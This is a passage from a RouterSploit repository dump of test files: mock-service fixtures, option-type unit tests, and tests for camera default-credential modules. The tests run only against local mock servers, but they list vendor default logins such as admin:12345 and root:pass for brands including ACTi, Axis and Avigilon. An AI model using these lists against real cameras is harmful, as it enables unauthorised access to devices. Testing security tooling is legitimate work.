    "content": "import pytest\n\nfrom threat9_test_bed.scenarios import HttpScenario\nfrom threat9_test_bed.service_mocks import HttpScenarioService, HttpServiceMock\nfrom threat9_test_bed.scenarios import TelnetScenario\nfrom threat9_test_bed.service_mocks.telnet_service_mock import TelnetServiceMock\nfrom threat9_test_bed.service_mocks.tcp_service_mock import TCPServiceMock\nfrom threat9_test_bed.service_mocks.udp_service_mock import UDPServiceMock\n\n\n@pytest.fixture\ndef target():\n    with HttpServiceMock(\"127.0.0.1\", 0) as target_:\n        yield target_\n\n\n@pytest.fixture(scope=\"session\")\ndef empty_target():\n    with HttpScenarioService(\"127.0.0.1\", 0,\n                             HttpScenario.EMPTY_RESPONSE) as http_service:\n        yield http_service\n\n\n@pytest.fixture(scope=\"session\")\ndef trash_target():\n    with HttpScenarioService(\"127.0.0.1\", 0,\n                             HttpScenario.TRASH) as http_service:\n        yield http_service\n\n\n@pytest.fixture(scope=\"session\")\ndef not_found_target():\n    with HttpScenarioService(\"127.0.0.1\", 0,\n                             HttpScenario.NOT_FOUND) as http_service:\n        yield http_service\n\n\n@pytest.fixture(scope=\"session\")\ndef redirect_target():\n    with HttpScenarioService(\"127.0.0.1\", 0,\n                             HttpScenario.REDIRECT) as http_service:\n        yield http_service\n\n\n@pytest.fixture(scope=\"session\")\ndef error_target():\n    with HttpScenarioService(\"127.0.0.1\", 0,\n                             HttpScenario.ERROR) as http_service:\n        yield http_service\n\n\n@pytest.fixture(scope=\"session\")\ndef timeout_target():\n    with HttpScenarioService(\"127.0.0.1\", 0,\n                             HttpScenario.TIMEOUT) as http_service:\n        yield http_service\n\n\n@pytest.fixture\ndef generic_target():\n    with TelnetServiceMock(\"127.0.0.1\", 0, TelnetScenario.AUTHORIZED) as telnet_service:\n        yield telnet_service\n\n\n@pytest.fixture\ndef tcp_target():\n    with TCPServiceMock(\"127.0.0.1\", 0) as tcp_service:\n        yield tcp_service\n\n\n@pytest.fixture\ndef udp_target():\n    with UDPServiceMock(\"127.0.0.1\", 0) as udp_service:\n        yield udp_service\n"
  },
  {
    "path": "tests/core/__init__.py",
    "content": ""
  },
  {
    "path": "tests/core/test_option.py",
    "content": "from routersploit.modules.encoders.php.hex import Encoder as PHPHexEncoder\nfrom routersploit.core.exploit.exceptions import OptionValidationError\nfrom routersploit.core.exploit.option import (\n    OptIP,\n    OptPort,\n    OptInteger,\n    OptFloat,\n    OptBool,\n    OptString,\n    OptMAC,\n    OptWordlist,\n    OptEncoder,\n)\n\n\ndef test_opt_ip():\n    # Test OptIP creation\n    opt_ip = OptIP(\"\", \"Test IP Description\")\n    assert opt_ip.description == \"Test IP Description\"\n    assert opt_ip.display_value == \"\"\n    assert opt_ip.value == \"\"\n    assert opt_ip.__get__(None, None) == \"\"\n\n    # Test OptIP setting to empty value\n    opt_ip.__set__(None, \"\")\n    assert opt_ip.value == \"\"\n    assert opt_ip.display_value == \"\"\n    assert opt_ip.__get__(None, None) == \"\"\n\n    # Test OptIP setting to 192.168.1.1\n    opt_ip.__set__(None, \"192.168.1.1\")\n    assert opt_ip.value == \"192.168.1.1\"\n    assert opt_ip.display_value == \"192.168.1.1\"\n    assert opt_ip.__get__(None, None) == \"192.168.1.1\"\n\n    # Test OptIP setting to InvalidIP value\n    try:\n        opt_ip.__set__(None, \"InvalidIP\")\n        assert False\n    except OptionValidationError:\n        assert True\n\n\ndef test_opt_port():\n    # Test OptPort creation\n    opt_port = OptPort(80, \"Test Port Description\")\n    assert opt_port.description == \"Test Port Description\"\n    assert opt_port.display_value == \"80\"\n    assert opt_port.value == 80\n    assert opt_port.__get__(None, None) == 80\n\n    # Test OptPort setting to 4444\n    opt_port.__set__(None, 4444)\n    assert opt_port.display_value == \"4444\"\n    assert opt_port.value == 4444\n    assert opt_port.__get__(None, None) == 4444\n\n    # Test OptPort setting to 0\n    try:\n        opt_port.__set__(None, 0)\n        assert False\n    except OptionValidationError:\n        assert True\n\n    # Test OptPort setting to 65536\n    try:\n        opt_port.__set__(None, 65536)\n        assert False\n    except OptionValidationError:\n        assert True\n\n\ndef test_opt_bool():\n    # Test OptBool creation\n    opt_bool = OptBool(True, \"Test Bool Description\")\n    assert opt_bool.description == \"Test Bool Description\"\n    assert opt_bool.display_value == \"true\"\n    assert opt_bool.value\n    assert opt_bool.__get__(None, None)\n\n    # Test OptBool setting to false\n    opt_bool.__set__(None, \"false\")\n    assert opt_bool.display_value == \"false\"\n    assert not opt_bool.value\n    assert not opt_bool.__get__(None, None)\n\n    # Test OptBool setting to true\n    opt_bool.__set__(None, \"true\")\n    assert opt_bool.display_value == \"true\"\n    assert opt_bool.value\n    assert opt_bool.__get__(None, None)\n\n    # Test OptBool setting to invalid value\n    try:\n        opt_bool.__set__(None, \"Invalid Value\")\n        assert False\n    except OptionValidationError:\n        assert True\n\n\ndef test_opt_integer():\n    # Test OptInteger creation\n    opt_integer = OptInteger(4444, \"Test Integer Description\")\n    assert opt_integer.description == \"Test Integer Description\"\n    assert opt_integer.display_value == \"4444\"\n    assert opt_integer.value == 4444\n    assert opt_integer.__get__(None, None) == 4444\n\n    # Test OptInteger setting to -1\n    opt_integer.__set__(None, -1)\n    assert opt_integer.display_value == \"-1\"\n    assert opt_integer.value == -1\n    assert opt_integer.__get__(None, None) == -1\n\n    # Test OptInteger setting to 9999999\n    opt_integer.__set__(None, 9999999)\n    assert opt_integer.display_value == \"9999999\"\n    assert opt_integer.value == 9999999\n    assert opt_integer.__get__(None, None) == 9999999\n\n    # Test OptInteger setting to 0\n    opt_integer = OptInteger(0, \"Test Integer with 0\")\n    assert opt_integer.display_value == \"0\"\n    assert opt_integer.value == 0\n    assert opt_integer.__get__(None, None) == 0\n\n    # Test OptInteger setting to 0x100\n    opt_integer.__set__(None, \"0x100\")\n    assert opt_integer.display_value == \"0x100\"\n    assert opt_integer.value == 0x100\n    assert opt_integer.__get__(None, None) == 0x100\n\n    # Test OptInteget setting to invalid value\n    try:\n        opt_integer.__set__(None, \"Invalid Value\")\n        assert False\n    except OptionValidationError:\n        assert True\n\n\ndef test_opt_float():\n    # Test OptFloat creation\n    opt_float = OptFloat(3.14, \"Test Float Description\")\n    assert opt_float.description == \"Test Float Description\"\n    assert opt_float.display_value == \"3.14\"\n    assert opt_float.value == 3.14\n    assert opt_float.__get__(None, None) == 3.14\n\n    # Test OptFloat setting to -1\n    opt_float.__set__(None, -1)\n    assert opt_float.display_value == \"-1\"\n    assert opt_float.value == -1\n    assert opt_float.__get__(None, None) == -1\n\n    # Test OptFloat setting to 999.9999\n    opt_float.__set__(None, 999.9999)\n    assert opt_float.display_value == \"999.9999\"\n    assert opt_float.value == 999.9999\n    assert opt_float.__get__(None, None) == 999.9999\n\n    # Test OptFloat setting to invalid value\n    try:\n        opt_float.__set__(None, \"Invalid Value\")\n        assert False\n    except OptionValidationError:\n        assert True\n\n\ndef test_opt_string():\n    # Test OptString creation\n    opt_string = OptString(\"Test\", \"Test String Description\")\n    assert opt_string.description == \"Test String Description\"\n    assert opt_string.display_value == \"Test\"\n    assert opt_string.value == \"Test\"\n    assert opt_string.__get__(None, None) == \"Test\"\n\n    # Test OptString setting to \"AAAABBBBCCCCDDDD\"\n    opt_string.__set__(None, \"AAAABBBBCCCCDDDD\")\n    assert opt_string.display_value == \"AAAABBBBCCCCDDDD\"\n    assert opt_string.value == \"AAAABBBBCCCCDDDD\"\n    assert opt_string.__get__(None, None) == \"AAAABBBBCCCCDDDD\"\n\n\ndef test_opt_mac():\n    # Test OptMAC creation\n    opt_mac = OptMAC(\"AA:BB:CC:DD:EE:FF\", \"Test MAC Description\")\n    assert opt_mac.description == \"Test MAC Description\"\n    assert opt_mac.display_value == \"AA:BB:CC:DD:EE:FF\"\n    assert opt_mac.value == \"AA:BB:CC:DD:EE:FF\"\n    assert opt_mac.__get__(None, None) == \"AA:BB:CC:DD:EE:FF\"\n\n    # Test OptMAC setting to dd:ee:ff:dd:ee:ff\n    opt_mac.__set__(None, \"dd:ee:ff:dd:ee:ff\")\n    assert opt_mac.display_value == \"dd:ee:ff:dd:ee:ff\"\n    assert opt_mac.value == \"dd:ee:ff:dd:ee:ff\"\n    assert opt_mac.__get__(None, None) == \"dd:ee:ff:dd:ee:ff\"\n\n    # Test OptMAC setting to invalid value\n    try:\n        opt_mac.__set__(None, \"Invalid Value\")\n        assert False\n    except OptionValidationError:\n        assert True\n\n\ndef test_opt_wordlist():\n    # Test OptWordlist creation\n    opt_wordlist = OptWordlist(\"\", \"Test Wordlist Description\")\n    assert opt_wordlist.description == \"Test Wordlist Description\"\n    assert opt_wordlist.display_value == \"\"\n    assert opt_wordlist.value == \"\"\n    assert opt_wordlist.__get__(None, None) == [\"\"]\n\n    # Test OptWordlist setting to admin,test\n    opt_wordlist.__set__(None, \"admin,test\")\n    assert opt_wordlist.display_value == \"admin,test\"\n    assert opt_wordlist.value == \"admin,test\"\n    assert opt_wordlist.__get__(None, None) == [\"admin\", \"test\"]\n\n\ndef test_opt_encoder():\n    # Test OptEncoder creation\n    opt_encoder = OptEncoder(PHPHexEncoder(), \"Test Encoder Description\")\n    assert opt_encoder.description == \"Test Encoder Description\"\n    assert str(opt_encoder.display_value) == \"php/hex\"\n    assert type(opt_encoder.display_value) == PHPHexEncoder\n"
  },
  {
    "path": "tests/creds/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/acti/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/acti/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.acti.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:12345\", \"admin:123456\", \"Admin:12345\", \"Admin:123456\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/acti/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.acti.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:12345\", \"admin:123456\", \"Admin:12345\", \"Admin:123456\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/acti/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.acti.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:12345\", \"admin:123456\", \"Admin:12345\", \"Admin:123456\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/acti/test_webinterface_default_creds.py",
    "content": "from flask import request\nfrom routersploit.modules.creds.cameras.acti.webinterface_http_form_default_creds import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    if request.method == \"GET\":\n        return \"<TEST>Password</TEST>\", 200\n    elif request.method == \"POST\":\n        return \"TEST\", 200\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against HTTP server \"\"\"\n\n    route_mock = target.get_route_mock(\"/video.htm\", methods=[\"GET\", \"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:12345\", \"admin:123456\", \"Admin:12345\", \"Admin:123456\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/american_dynamics/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/american_dynamics/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.american_dynamics.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:9999\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/american_dynamics/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.american_dynamics.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:9999\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/american_dynamics/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.american_dynamics.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:9999\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/arecont/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/arecont/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.arecont.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:\", \":\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/arecont/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.arecont.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:\", \":\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/arecont/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.arecont.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:\", \":\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/avigilon/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/avigilon/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.avigilon.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"Administrator:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/avigilon/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.avigilon.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"Administrator:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/avigilon/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.avigilon.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"Administrator:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/avtech/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/avtech/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.avtech.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/avtech/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.avtech.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/avtech/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.avtech.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/axis/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/axis/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.axis.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"root:pass\", \"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/axis/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.axis.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"root:pass\", \"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/axis/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.axis.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"root:pass\", \"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/axis/test_webinterface_http_auth_default_creds.py",
    "content": "from flask import request, Response\nfrom base64 import b64decode\nfrom routersploit.modules.creds.cameras.axis.webinterface_http_auth_default_creds import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    if \"Authorization\" in request.headers.keys():\n        creds = str(b64decode(request.headers[\"Authorization\"].replace(\"Basic \", \"\")), \"utf-8\")\n\n        if creds in [\"root:pass\", \"root:admin\"]:\n            return \"Authorized\", 200\n\n    resp = Response(\"Unauthorized\")\n    resp.headers[\"WWW-Authenticate\"] = \"Basic ABC\"\n    return resp, 401\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against HTTP server \"\"\"\n\n    cgi_mock = target.get_route_mock(\"/\", methods=[\"GET\", \"POST\"])\n    cgi_mock.side_effect = apply_response\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"root:pass\", \"root:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/basler/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/basler/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.basler.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/basler/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.basler.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/basler/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.basler.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/basler/test_webinterface_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.basler.webinterface_http_form_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against HTTP server \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/auth_if.cgi\", methods=[\"GET\", \"POST\"])\n    route_mock.return_value = \"success: true\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/brickcom/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/brickcom/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.brickcom.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/brickcom/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.brickcom.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/brickcom/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.brickcom.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/brickcom/test_webinterface_http_auth_default_creds.py",
    "content": "from flask import request, Response\nfrom base64 import b64decode\nfrom routersploit.modules.creds.cameras.brickcom.webinterface_http_auth_default_creds import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    if \"Authorization\" in request.headers.keys():\n        creds = str(b64decode(request.headers[\"Authorization\"].replace(\"Basic \", \"\")), \"utf-8\")\n\n        if creds in [\"admin:admin\"]:\n            return \"Authorized\", 200\n\n    resp = Response(\"Unauthorized\")\n    resp.headers[\"WWW-Authenticate\"] = \"Basic ABC\"\n    return resp, 401\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against HTTP server \"\"\"\n\n    cgi_mock = target.get_route_mock(\"/\", methods=[\"GET\", \"POST\"])\n    cgi_mock.side_effect = apply_response\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/canon/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/canon/test_ftp_default_creds.py",
